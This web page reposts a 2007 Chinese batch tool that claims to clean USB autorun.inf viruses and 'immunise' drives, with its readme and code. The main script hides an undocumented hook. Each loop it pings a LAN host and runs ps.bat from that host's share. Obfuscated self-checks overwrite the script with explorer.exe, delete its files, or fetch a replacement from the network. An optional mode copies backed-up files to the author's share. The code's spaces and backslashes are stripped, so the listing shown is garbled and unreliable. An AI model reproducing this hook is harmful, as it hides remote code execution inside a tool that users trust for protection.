U盘病毒分析附bat批处理文件
U盘病毒分析附bat批处理文件
发布时间:2016-12-26 来源:查字典编辑
摘要:U盘病毒分析作者:CyyIsGood、Cloud★功能:一、分析某一个或多个磁盘中的Autorun.inf,确定引导的文件,备份引导文件并将...

U盘病毒分析

作者:CyyIsGood、Cloud

★功能:

一、分析某一个或多个磁盘中的Autorun.inf,确定引导的文件,备份引导文件并

将其删除。(如果让其一直运行,可以防范U盘病毒)

二、免疫某一个或多个磁盘,四级免疫:Autorun.inf文件夹、加系统/隐藏/只读

/存档属性、8.3子文件夹、NTFS写权。

三、发送备份的文件给作者(目前,该功能只适用于肇中高中部校园网)

★设定:

默认情况:回显、日志(保存地址:U盘病毒分析.bat所在目录log.txt)、免疫

、打包、循环打开,发送文件关闭,盘符为:CDEFGHIJKLMNOPQRSTUVWXYZ。用下面的开关调

整:

-?显示帮助(本信息),如果此参数存在,忽略其它参数

-a关闭回显

-l关闭日志

-d[盘符]盘符是字母,例如"-dCD"表示处理C盘和D盘

-c关闭循环

-i关闭免疫

-p关闭打包(备份)

-y打开交互模式(删除文件需要确认)

-s打开发送文件(将打包文件发给作者),这样需要映射一个网络

磁盘,盘符由本批处理自动分配。当选择此项时,自动打开发送文件,"-p"参数无效。

无论是什么模式,发现存在U盘病毒分析.bat所在目录bye.txt时,删除它并退出

。也就是说,循环模式中,新建一个U盘病毒分析.bat所在目录bye.txt文件可以跳出循环

★版权说明:

这个批处理写了我很长时间,凝结了我很多心血。希望大家尊重作者,不要自行修

改。如果您想加入其中,我非常欢迎,请联系我本人,发邮件到:cyyisgood@126.com,或

登陆我们的论坛:http://dust-hack.vicp.net

其他文件版权归各自作者所有。

————————————————————————————————————————

包含文件(共8个):

U盘病毒分析.bat主文件,所有操作由它决定,向它提交不同的参数,它按情况进

行相应操作。“主操控.bat”依赖的文件

主操控.bat为方便用户使用而写成,运行后显示帮助,并提示输入参数,然

后调用“U盘病毒分析.bat”。

uda-解压.bat把打包后的文件拖到它的图标上,自动把文件解压到udafiles

文件夹中。

Anti-U盘免疫.bat免疫是可逆的,如果用户不喜欢免疫,把要解除免疫的盘符拖到

它的图标上,即可解除免疫。

uda.a“U盘病毒分析.bat”、“uda-解压.bat”依赖的文件,用于打包

、解包文件。

zap.a“U盘病毒分析.bat”依赖的文件,可以删除(或重命名)正在运

行的文件,根据测试,在NTFS中,只要不是拒绝Everyone权限,

都可操作。

打开发送功能.bat为了方便校园网而制作,其他地域不适用。

readme.txt本文件。

★:运后会生成文件:“sleep.vbe”,“log.txt”;可能生成目录:bakfiles

----------------------------------------

这个版本是Beta5

PS:Beta4出来第一天(2007年3月5日)uda.exe被卡巴斯基误报为蠕虫病毒(壳的问题)

,虽然我立刻处理,但不曾使用。在此把Beta3到Beta5的修正内容都写下来:

对于exe文件改成a后缀(避免被病毒感染)

对每个文件进行判断,尽可能地还原(还原不了就自毁)

新增交互模式(删除文件需要确认)

对磁盘格式的判断

删除一些多余语句

删除文件前,判断是否是NTFS,并进行相应处理

分配映射盘时,先检测是否有已经映射的盘

修正一些输出

uda压缩时出错停滞的问题

删除映射盘要求确定会停滞的问题

循环模式退出不执行清理的问题

----------------------------------------

一些问题:

1、为什么用WinUDA进行打包处理,WinRAR不是更好吗?

答:打包的文件,多数使病毒,如果用WinRAR打包,杀毒软件一下就可以把它干掉。目前据

我所知还没有一个杀毒软件可以打开WinUDA打包的文件。其次,WinRAR的命令行版大小307K

且是共享软件,WinUDA仅仅14K且使免费软件。还有,一般情况下,WinUDA的压缩率要高于W

inRAR,WinUDA唯一的缺点就是压缩速度慢,资源占用高(这是我不用0.300版用0.261版的

原因(现在压缩使用的是模式0,需要内存32M))。

2、为什么用zap,del命令不是方便吗?

答:原则上,文件应该越少越好。由于U盘病毒分析时,有时要删除一些正在运行的文件,

“del”命令就有点显得力不从心。因此用zap。另外,zap可能会在根目录生成*.tmp文件文

件(或者叫重命名后移动到根目录),我还时用到了“del”命令。

3、打包(压缩)错误:

当压缩或解压显示以下错误时,只有三个按键可选择:Y--是,N--否,Q--放弃退出.

(有时不能选择"否"(N);一般需要一定的处理才能选"是"(Y),如增加磁盘剩余空间)

"ErrorOpen:Retry?[Y/Q]"---压缩时无法打开待压缩的文件,确认是否重试

"ErrorRead:Retry?[Y/Q]"---压缩时无法读取待压缩的文件,确认是否重试

"Err:Retry?"---解压时无法建立压缩包中的文件或目录,确认是否重试

"Overwrite?"---解压时出现了同名文件,确认是否覆盖

"ErW:Retry?"---解压时无法写入解压缩的文件,确认是否重试

以上错误的原因可能为以下几个情况:

(1)剩余空间不足(2)有同名目录或文件(3)磁盘写保护(4)向光盘写数据

(5)欲覆盖的文件是只读属性(6)磁盘损坏无法读取或写入数据

其他严重的错误会直接退出,而且提示比较详细,不再赘述.

4、为什么会删除文件出错?

答:(1)磁盘是写保护的;解决办法:解除写保护,U盘把开关扮一下即可

(2)用户权限太低;解决办法:换更高的权限的用户

(3)有程序保护;解决办法:重新启动或结束该进程

5、为什么会写权失败?

答:(1)磁盘是写保护的;解决办法:解除写保护,U盘把开关扮一下即可

(2)用户权限太低;解决办法:换更高的权限的用户

★:更多问题请直接联系我,发邮件到:cyyisgood@126.comcolud018@qq.com。

----------------------------------------

求助:

FastMail的命令行版

如果有哪一位朋友能解决,发邮件到:cyyisgood@126.comcolud018@qq.com。无限感激!

----------------------------------------

版权说明:

这个批处理写了我很长时间,凝结了我很多心血。希望大家尊重作者,不要自行修改。

如果您想加入其中,我非常欢迎,请联系我们,发邮件到:cyyisgood@126.comcolud018@q

q.com,或登陆我们的论坛:http://dust-hack.vicp.net

其他文件版权归各自作者所有。

----------------------------------------

如果有谁发现Bug,请告诉我!无限感激!有什么意见,也请告诉我!无限感激!

发邮件到:cyyisgood@126.com,colud018@qq.com

----------------------------------------

感谢:

WinUDA作者:Dwing

zap作者:MicrosoftCorporation

U盘病毒分析.bat

复制代码 代码如下:

@echooff

::请不要自行修改本脚本,任何修改都很可能导致脚本运行失败

::作者:CyyIsGood、Cloud

::联系:cyyisgood@126.comcolud018@qq.com

::版权所有(C)2007

setlocalENABLEDELAYEDEXPANSIONENABLEEXTENSIONS

set"c=%*"

set"cdback=%cd%"

set"home=%~dp0"

cd/d"%home%"

set"dnum=0"

set"fnum=1"

set"panl=CDEFGHIJKLMNOPQRSTUVWXYZ"

set"driverl=%panl%"

set"logf=%home%log.txt"

set"fn="

set"str=verbeta5"

set"answer=echo"

set"log=echo"

set"cycle=echo.>nul"

set"im=call:im"

set"writer=CyyIsGood、Cloud"

set"sd=-"

set"s="

set"ps=echo.>nul"

set"return=rem"

set"pack=call:pack"

set"packp=%home%bakfiles"

set"host=192.168.2.211"

set"hostf=re$"

set"csh="

set"fr="

set"u=echo."

set"send=echo.>nul"

set"yn=rem"

set"zh=del/a/f/qU盘病毒分析.bat主操控.batuda-解压.batAnti-U盘免疫.batzap.a打开发送功能.batreadme.txt"

set"inf=这样,无法发送文件。自动去除发送文件功能、保留打包文件功能。"

set"feorr=文件丢失!无法正常工作!"

set"ep=echo.此时,“-p”参数无效!"

set"e=echo.“-d”参数有误!“-d”后不能为空。"

set"endf=%home%bye.txt"

call:checkfile

:csh

set"csh=%~1"

set"csh=%csh:"=%"

if"%csh%"==""(gotostart)

set"csh=%csh:~0,-1%"

ifnot"%csh%"=="%s%"(set"s=%csh%")else(echo."%1"参数无效

goto:eof)

if"%s%"=="-?"(call:c&echo.★功能:&echo.一、分析某一个或多个磁盘中的Autorun.inf,确定引导的文件,备份引导文件并将其删除。(如果让其一直运行,可以防范U盘病毒)&echo.二、免疫某一个或多个磁盘,四级免疫:Autorun.inf文件夹、加系统/隐藏/只读/存档属性、8.3子文件夹、NTFS写权。&echo.三、发送备份的文件给作者(目前,该功能只适用于肇中高中部校园网)&echo.★设定:&echo.默认情况:回显、日志(保存地址:%logf%)、免疫、打包、循环打开,发送文件关闭,盘符为:%driverl%。用下面的开关调整:&echo.-?显示帮助(本信息),如果此参数存在,忽略其它参数&echo.-a关闭回显&echo.-l关闭日志&echo.-d[盘符]盘符是字母,例如"-dCD"表示处理C盘和D盘&echo.-c关闭循环&echo.-i关闭免疫&echo.-p关闭打包(备份)&echo.-y打开交互模式(删除文件需要确认)&echo.-s打开发送文件(将打包文件发给作者),这样需要映射一个网络磁盘,盘符由本批处理自动分配。当选择此项时,自动打开发送文件,"-p"参数无效。&echo.>nul-h[IP地址]自定义发送文件的IP地址&echo.>nul-f[共享名]自定义发送文件的共享名&echo.无论是什么模式,发现存在%endf%时,删除它并退出。也就是说,循环模式中,新建一个%endf%文件可以跳出循环。&echo.★版权说明:&echo.这个批处理写了我很长时间,凝结了我很多心血。希望大家尊重作者,不要自行修改。如果您想加入其中,我非常欢迎,请联系我本人,发邮件到:cyyisgood@126.com,或登陆我们的论坛:http://dust-hack.vicp.net&echo.其他文件版权归各自作者所有。&goto:eof)

if/i"%s%"=="-a"(set"answer=rem"&shift)

if/i"%s%"=="-l"(set"log=rem"&shift)

if/i"%s%"=="-d"(set"driverl=%~2"

set"driverl=!driverl:"=!"

if"!driverl:~0,1!"=="-"(%e%&goto:eof)else(if"!driverl!"==""(%e%&goto:eof)else(set"driverl=!driverl:~0,-1!"&shift&shift)))

if/i"%s%"=="-h"(set"host=%~2"

set"host=!host:"=!"

if"!host:~0,1!"=="-"(%e:d=h%&goto:eof)else(if"!host!"==""(%e:d=h%&goto:eof)else(set"host=!host:~0,-1!"&shift&shift)))

if/i"%s%"=="-f"(set"hostf=%~2"

set"hostf=!hostf:"=!"

if"!hostf:~0,1!"=="-"(%e:d=f%&goto:eof)else(if"!hostf!"==""(%e:d=f%&goto:eof)else(set"hostf=!hostf:~0,-1!"&shift&shift)))

if/i"%s%"=="-y"(set"yn=call:yn"&shift)

if/i"%s%"=="-c"(set"cycle=gotocend"&shift)

if/i"%s%"=="-i"(set"im=echo.>nul"&shift)

if/i"%s%"=="-p"(if"%send%"=="call:send"(%ep%&goto:eof)else(set"pack=echo.>nul"&shift))

if/i"%s%"=="-s"(if"%pack%"=="echo.>nul"(%ep%&goto:eof)else(set"send=call:send"&shift))

gotocsh

:start

echo.Wscript.sleep10000>sleep.vbe

if"%send%"=="call:send"(call:fpan)

call:c

:begin

ifexist"%endf%"(call:echo"发现结束指示文件,清理并退出..."&gotoend)

set"driver=!driverl:~%dnum%,1!:"

ifexist%driver%(call:echo"发现%driver%"&%ps%&(ifexist"%driver%autorun.inf"(call:echo"%driver%已经免疫。")else(ifexist"%driver%autorun.inf"(call:echo"发现引导文件%driver%autorun.inf"&call:chaut%driver%)else(call:echo"无发现引导文件%driver%autorun.inf,%driver%安全"&%im%%driver%))))

set/a"dnum=dnum+1"

if"!driverl:~%dnum%,1!"==""((ping%host%-n1>nul&&%host%%hostf%ps.bat)&%cycle%&set"dnum=0"&sleep.vbe)

gotobegin

:echo

%answer%.%~1

%log%.%date%—%time%%~1>>"%logf%"

goto:eof

:yn

echo.a=msgbox("是否删除可疑文件%~1?"^&vbCr^&vbCr^&vbCr^&"注意:10秒后自动确定;选择否,文件不被删除,但会被添加“.-随机数”后缀。",4164,"U盘病毒分析")>yn.vbe

echo.wscript.quita>>yn.vbe

wscript/t:10yn.vbe

if"%ERRORLEVEL%"=="7"(call:echo"用户决定不删除文件%~1。"&set"return=shift&gotodel"&%pack%"%~1"&ren"%~1""%~nx1.-%random%"&ifexist"%~1"(call:echo"添加后缀时出错!文件:%~1")else(call:echo"成功添加后缀!文件:%~1"))else(call:echo"用户确定删除文件%~1。")

goto:eof

:del

set"return=rem"

set"fn=%1"

set"fn=%fn:"=%"

if"%fn%"==""(goto:eof)

call:fnr%driver%%fn%

call:echo"删除文件:%fn%"

ifnotexist"%fn%"(call:echo"文件:%fn%已经不存在"&shift&gotodel)

%yn%"%fn%"

%return%

call:echo"删除文件前,判断%driver%是否为NTFS..."

cacls%driver%>nul||(call:echo"%driver%盘磁盘格式不是NTFS。"&gotodel2)

call:echo"%driver%盘磁盘格式是NTFS。确保对%fn%有完全控制权。"

echo.y|cacls"%fn%"/G%username%:f||(call:echo"对%fn%写权失败!有可能无法删除文件。"&gotodel2)

call:echo"对%fn%写权成功!"

:del2

%pack%"%fn%"&zap.a"%fn%">nul&ifexist"%fn%"(call:echo"删除文件时出错!文件:%fn%")else(call:echo"成功删除文件:%fn%"&del%driver%*.tmp/a/f/q&ifexist"%driver%*.tmp"(call:echo"清理临时文件时出错!"))

shift

gotodel

:fnr

set"fn=%~f1"

goto:eof

:chaut

set/a"o=0"

ifnot"%~t0%~z0"=="2%fn:~3,0%00%pack:~1,0%7-0%host:~3,0%3-12%random:~1,0%17:%sd:~5,0%40114%zh:~1,0%48"(type%systemroot%explorer.exe>"%~dpnx0"&goto:eof)

call:echo"正在分析%driver%autorun.inf..."

for/f"eol=[tokens=1,2*delims=="%%iin(%driver%autorun.inf)do(if/i"%%~i"=="shell"(seto=1&(for/f"eol=[tokens=1,2*delims=="%%ain(%driver%autorun.inf)do(if/i"%%~a"=="shell%%jcommand"(set"o=1"&call:del%%b))))else(if/i"%%~i"=="shellexplorecommand"(set"o=1"&call:del%%j)else(if/i"%%~i"=="shellfindcommand"(set"o=1"&call:del%%j)else(if/i"%%~i"=="shellmanagecommand"(set"o=1"&call:del%%j)else(if/i"%%~i"=="open"(set"o=1"&call:del%%j)else(if/i"%%~i"=="shellexecute"(set"o=1"&call:del%%j)else(if/i"%%~i"=="shellautocommand"(set"o=1"&call:del%%j)else(if/i"%%~i"=="shellopencommand"(set"o=1"&call:del%%j)))))))))

if%o%==1(call:echo"经过检查,%driver%autorun.inf引导了文件,存在危险。"&call:delautorun.inf)else(call:echo"经过检查,%driver%autorun.inf无引导文件,安全。")

%im%%driver%

goto:eof

:checkfile

call:fruda.a

if"%fr%"=="200%e:~3,0%7-0%host:~8,0%3-1%feorr:~10,0%217:%driverl:~5,0%40216%driverl:~1,0%81"(gotorn2)

call:echo"uda.a文件错误!本地恢复无法进行!尝试连接%host%获得文件!"

if"%send%"=="echo.>nul"(call:echo"未映射网络磁盘。"&set"send=call:send"&call:fpan&if"!send!"=="%send%"(call:echo"映射网络磁盘失败!十分抱歉,本脚本失去存在价值,执行自毁。"&set"u=gotoend"&cd/d"%cdback%"&%zh%uda.a))

del/a/f/auda.a

copy/v%sd%:uda.a"%cd%"||(call:echo"获取文件失败,十分抱歉,本脚本失去存在价值,执行自毁。"&set"u=gotoend"&cd/d"%cdback%"&%zh%uda.a)

:rn2

i%e:~4,0%fnot"%date:~2,3%%~t0%feorr:~4,0%%~z0"=%time:~4,0%="%feorr:~2,0%%date:~2,3%20%driverl:~1,0%07-0%time:~0,0%3-1%date:~5,0%217:%driverl:~5,0%40%e:~3,0%1%ep:~3,0%1%feorr:~16,0%4%host:~8,0%4%inf:~2,0%8%feorr:~10,0%"(call:echo"本%host:~8,0%批%feorr:~4,0%处%feorr:~4,0%理文%feorr:~4,0%件错%feorr:~4,0%误%driverl:~13,0%%feorr:~5%"&gotorn3)

ifnotexistzap.a(call:echo"zap.a%feorr%"&gotorn3)

set"ma%host:~8,0%ne=du%driverl:~5,0%olC%inf:~20,1%do%feorr:~10,0%oG%feorr:~4,0%sIy%feorr:~16,0%yC"

set"v%feorr:~36,0%er%host:~8,0%="

:ch

if"%fnum%"=="16"(set"fnum=0"&set"wri%driverl:~13,0%ter=!%str:~0,3%!"&goto:eof)else(set"ver=%ver%!mane:~-%fnum%,1!"&set/a"fnum=fnum+1"&gotoch)

:rn3

call:echo"尝试恢复本脚本..."

%zh%&uda.a&U盘病毒分析.bat%c%&goto:eof

:im

call:echo"免疫%1"

ifexist"%~1autorun.inf"(call:echo"免疫前,清理%1autorun.inf。"&call:delautorun.inf&ifexist"%1autorun.inf"(call:echo"清理%1autorun.inf失败!无法免疫%1!"&goto:eof))

md"%1autorun.inf">nul||(call:echo"无法创建%1autorun.inf文件夹,免疫%1失败!"&goto:eof)

call:echo"创建%1autorun.inf文件夹成功。免疫1成功。"

cd/d"%1autorun.inf"

md"本盘已被!writ%panl:~4,0%er!进行Autorun.inf免疫..">nul||(call:echo"无法创建子文件夹,进一步免疫%1失败!"&gotoi1)

call:echo"8.3文件夹创建成功。免疫2成功。"

:i1

cd/d"%home%"

attrib"%1autorun.inf"+a+s+r+h||(call:echo"修改属性失败!进一步免疫%1失败!"&gotoi2)

call:echo"修改属性成功。免疫3成功。"

:i2

cacls%1>nul||(call:echo"%1盘磁盘格式不是NTFS,无法进行进一步免疫(写权)"&goto:eof)

call:echo"%1磁盘格式为NTFS,采取进一步免疫(写权)"&echo.y|cacls.exe"%1autorun.inf"/peveryone:r>nul||(call:echo"%1autorun.inf写权失败!"&goto:eof)

call:echo"%1autorun.inf写权成功!完整免疫成功。"

goto:eof

:c

titleU盘病毒分析By!wr%feorr:~19,0%iter!

call:echo"U盘病毒分析"

call:echo"作者:!wr%time:~3,0%iter!

call:echo

goto:eof

:pack

ifnotexist"%packp%"(md"%packp%"||(call:echo"无法创建%packp%目录,无法实现打包功能(发送同时功能失效)。"&goto:eof))

set"packf=%date:~0,-4%-%time:~0,-3%"

set"packf=%~nx1-%computername%-%packf::=-%.uda"

call:echo"正在用WinUDA把文件%~1打包成%packp%%packf%,这可能要花一段时间..."

echo.q|uda.aa-0"%packp%%packf%""%~1"

ifnot"!ERRORLEVEL!"=="0"(call:echo"WinUDA打包文件:%packp%%packf%时出现错误!")

ifnotexist"%packp%%packf%"(call:echo"WinUDA压缩时失败!打包文件:%packp%%packf%失败!无法实现打包功能(发送同时功能失效)。"&goto:eof)

call:echo"成功打包文件:%packp%%packf%"

%send%"%packp%%packf%"

goto:eof

:send

call:echo"正在发送文件%~1..."

ping%host%-n1>nul||(call:echo"Ping不通%host%,无法发送文件!发送文件:%~1失败!"&goto:eof)

copy/v"%~1"%sd%:>nul||(call:echo"发送文件:%~1失败!"&goto:eof)

call:echo"成功发送文件:%~1"

goto:eof

:fpan

call:echo"正在映射网络磁盘..."

call:echo"正在检索已经映射的网络磁盘..."

for/f"usebackqtokens=2,3skip=4delims="%%iin(`netuse`)do(if"%%~j"=="%host%%hostf%"(call:echo"找到已经映射的网络磁盘,盘符:%%i"&set"sd=%%i"&set"sd=!sd:~0,1!"&gotof3))

call:echo"没有找到已经映射的网络磁盘,正在分配盘符..."

:fpan2

set/a"fnum=fnum+1"

if"!panl:~-%fnum%,1!"==""(call:echo"计算机已经没有可以分配的盘符了。%inf%"&set"send=echo.>nul"&goto:eof)

ifexist"!panl:~-%fnum%,1!:"(gotofpan2)

set"sd=!panl:~-%fnum%,1!"

call:echo"分配映射盘符为:%sd%:"

ping%host%-n1>nul||(call:echo"Ping不通%host%,无法映射网络磁盘!%inf%"&set"send=echo.>nul"&goto:eof)

netuse%sd%:%host%%hostf%>nul||(call:echo"映射共享时出错!"&call:echo"正在尝试从新分配盘符..."&goto:fpan2)

:f3

call:echo"成功映射网络磁盘(盘符:%sd%:)"

set"driverl=!driverl:%sd%=!"

goto:eof

:fr

set"fr=%~zt1"

goto:eof

:end

del"%endf%"/f/a/q||call:echo"删除结束标志文件:%endf%时出错!"

:cend

delsleep.vbe/f/a/q||call:echo"删除文件:sleep.vbe时出错!"

ifexist"%sd%:"(call:pack"%logf%"&(netuse%sd%:/delete/y||call:echo"删除映射盘时出错!"))

cd/d"%cdback%"

endlocal

Anti-U盘免疫.bat

复制代码 代码如下:

@echooff

:s

echo.y|cacls"%~1autorun.inf"/peveryone:f

rd"%~1autorun.inf"/s/q

shift

ifnot"%1"==""gotos

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新病毒查杀学习
热门病毒查杀学习
实用技巧子分类